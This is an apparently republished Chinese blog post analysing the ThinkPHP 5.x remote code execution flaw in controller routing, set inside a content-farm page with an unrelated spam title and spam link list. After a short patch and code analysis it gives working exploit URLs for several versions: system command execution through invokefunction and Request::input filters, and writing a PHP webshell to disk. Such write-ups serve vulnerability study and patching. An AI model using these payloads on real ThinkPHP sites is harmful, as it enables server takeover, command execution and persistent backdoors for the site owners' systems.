当前位置: 首页 > news >正文

租房网站建设/怎么把产品快速宣传并推广

租房网站建设,怎么把产品快速宣传并推广,建设网站要多长时间,南通做网站哪家好摘要近日thinkphp团队发布了版本更新https://blog.thinkphp.cn/869075 &#xff0c;其中修复了一处getshell漏洞。影响范围5.x < 5.1.31< 5.0.23危害远程代码执行漏洞分析以下漏洞分析源于斗鱼SRC公众号:斗鱼安全应急响应中心分析补丁&#xff1a;802f284bec821a608e7543…

摘要

近日thinkphp团队发布了版本更新https://blog.thinkphp.cn/869075 ,其中修复了一处getshell漏洞。

影响范围

5.x < 5.1.31

<= 5.0.23

危害

远程代码执行

漏洞分析

以下漏洞分析源于斗鱼SRC公众号:斗鱼安全应急响应中心

分析补丁:802f284bec821a608e7543d91126abc5901b2815

路由信息中controller的部分进行了过滤,可知问题出现在路由调度时。

5bb5638c02ea7f1f76ae18692e49ba67.png

以5.1.23版本进行分析,执行路由调度的代码如下:

55f10915dc8a711c5144d1534eb88368.png

其中使用了$this->app->controller方法来实例化控制器,然后调用实例中的方法。跟进controller方法:

9ede7f161d774e0d58483cf604baaac2.png

其中通过parseModuleAndClass方法解析出$module和$class,然后实例化$class。

rseModuleAndClass方法中,当$name以反斜线\开始时直接将其作为类名。利用命名空间的特点,如果可以控制此处的$name(即路由中的controller部分),那么就可以实例化任何一个类。

接着,我们再往回看路由解析的代码。其中route/dispatch/Url.php:: parseUrl方法调用了route/Rule.php:: parseUrlPath来解析pathinfo中的路由信息

e0211d9972d90c3be2d28302c532d973.png

代码比较简单,就是使用/对$url进行分割,未进行任何过滤。

其中的路由url从Request::path()中获取

d8e8a5e00c5115a7fe04da4d05b27ee5.png

由于var_pathinfo的默认配置为s,我们可利用$_GET['s']来传递路由信息,也可利用pathinfo来传递,但测试时windows环境下会将$_SERVER['pathinfo']中的\替换为/。

结合前面分析可得初步利用代码如下:index.php?s=index/\namespace\class/method,这将会实例化\namespace\class类并执行method方法。

然而利用过程中会存在一些限制,部分类在实例化时由于缺少参数而报错。

经过一番寻找,在\think\Request类中找到可以利用的方法input。以下为执行phpinfo

dfcb2825e552627044d279ba13c6d367.png

环境搭建

TP5.0.*

直接从官网下载完整包解压到www(网站根目录)目录即可,URL指向public目录(如:http://localhost/TP5.0.22/public/ )

TP5.1.*

官方不再提供完整版下载,笔者从composer下载最新版后与官方GitHub进行了对比,发现以下几个仓库

Framework

think

think-installer

发现framework仓库就是完整版中的thinkphp目录

9cbd63a21ebeadea6f59b852d7c28e81.png

d04888dfbfe5d83a4b14c67ab6881ce9.png

think仓库是thinkphp的主架构

think-installer对应路径为path\to\thinkphp\vendor\topthink\think-installer

那么整合下就好了

最终目录架构

21319e2a615baa1fad4e4d3b17518933.png

访问下

af35f27117bd35fb9c122afd30087efe.png

POC

TP版本5.0.21:

http://localhost/thinkphp_5.0.21/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

7e70abdab0593b6be5583e36e72af6a6.png

http://localhost/thinkphp_5.0.21/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

4b1019b5215eb4ebbee6defdd297dc1f.png

TP版本5.0.22:

http://url/to/thinkphp_5.0.22/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

5c5c1b3f99dbbcb13ecc029fd8ef7332.png

http://url/to/thinkphp_5.0.22/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

5279e9c13b3b2aa65fa8be39f427d4a0.png

TP5.1.*

thinkphp5.1.29为例

1、代码执行:

http://url/to/thinkphp5.1.29/?s=index/\think\Request/input&filter=phpinfo&data=1

0e4c4062fec363ee6136d5dd3e46bdb2.png

2、命令执行:

http://url/to/thinkphp5.1.29/?s=index/\think\Request/input&filter=system&data=操作系统命令

e035f9fae179b1d73744e6f0637fa6eb.png

3、文件写入(写shell):

http://url/to/thinkphp5.1.29/?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=%3C?php%20phpinfo();?%3E

f7f78742141e63e0d7ce785d9e17bebc.png

4、未知:

http://url/to/thinkphp5.1.29/?s=index/\think\view\driver\Php/display&content=%3C?php%20phpinfo();?%3E

5、代码执行:

http://url/to/thinkphp5.1.29/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

e5bd13449cbeb49c3bc1746691626e12.png

6、命令执行:

http://url/to/thinkphp5.1.29/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=操作系统命令

8e513ce9c92354c8256d2eb3203dabec.png

7、代码执行:

http://url/to/thinkphp5.1.29/?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

9d3f086a0c4fd4e3ba39cd92fe2e3d30.png

8、命令执行:

http://url/to/thinkphp5.1.29/?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=操作系统命令

59a7310143aa909357a6bed4dbb5bb8a.png

修复方案

官方现已推出补丁 建议开发者进行修复

http://www.lbrq.cn/news/1546093.html

相关文章:

  • 网站与网页区别/曼联vs曼联直播
  • 摄影做网站/的搜索引擎优化
  • 今日济源最新消息/点金推广优化公司
  • 自己做一网站 多做宣传./外贸互联网推广的
  • 建设b2c商城网站/app推广多少钱一单
  • 两学一做网站是多少/登录百度账号注册
  • 芜湖商城网站建设/推广普通话宣传语100字
  • 厦门商场网站建设/线上宣传推广方式
  • 赌场网站建站/如何进行品牌宣传与推广
  • 网站及移动端建设情况/杭州免费网站制作
  • 自己的电脑做网站服务器吗/网站设计费用明细
  • 建设网站的费用预算/长尾词挖掘免费工具
  • 适合用struts2做的网站/推广文案范例
  • 万户网站/广州网站排名优化公司
  • 公司注册一站式平台/seo关键词布局技巧
  • dw怎么把网站做的漂亮/seo搜索排名优化公司
  • 网站建设维护考试/怎样推广一个产品
  • 中央农村工作会议指出/网站优化排名推荐
  • 企业网站会涉及到的版权问题/视频互联网推广选择隐迅推
  • 一家做特卖的网站叫什么/seo网站推广什么意思
  • 微盟商户助手app下载/南昌seo快速排名
  • 东莞企业网站建设营销/厦门网站到首页排名
  • 怎么做轴承网站/百度怎么精准搜关键词
  • 音乐网站如何建设的/seo优化服务是什么
  • 好的网站建设公司哪家好/网络推广app是干什么的
  • 苏州h5建站/网店培训
  • 网件路由器wifi初始密码/免费seo排名优化
  • 网站建设教程参加苏州久远网络/网站站点查询
  • 铜川市网站建设/seo外包靠谱
  • 网络营销推广的应用场景/百度网站的优化方案
  • AI 药物发现:化学分子到机器学习数值特征的转化——打通“化学空间”与“模型空间”关键路径
  • JavaSSM框架从入门到精通!第二天(MyBatis(一))!
  • 常见的软件图片缩放,算法如何选择?
  • 无人机迫降模式技术要点解析
  • 【案例】ECharts 环形图中心下移后,如何保持中间图片和文案居中
  • 【2025CVPR-目标检测方向】RaCFormer:通过基于查询的雷达-相机融合实现高质量的 3D 目标检测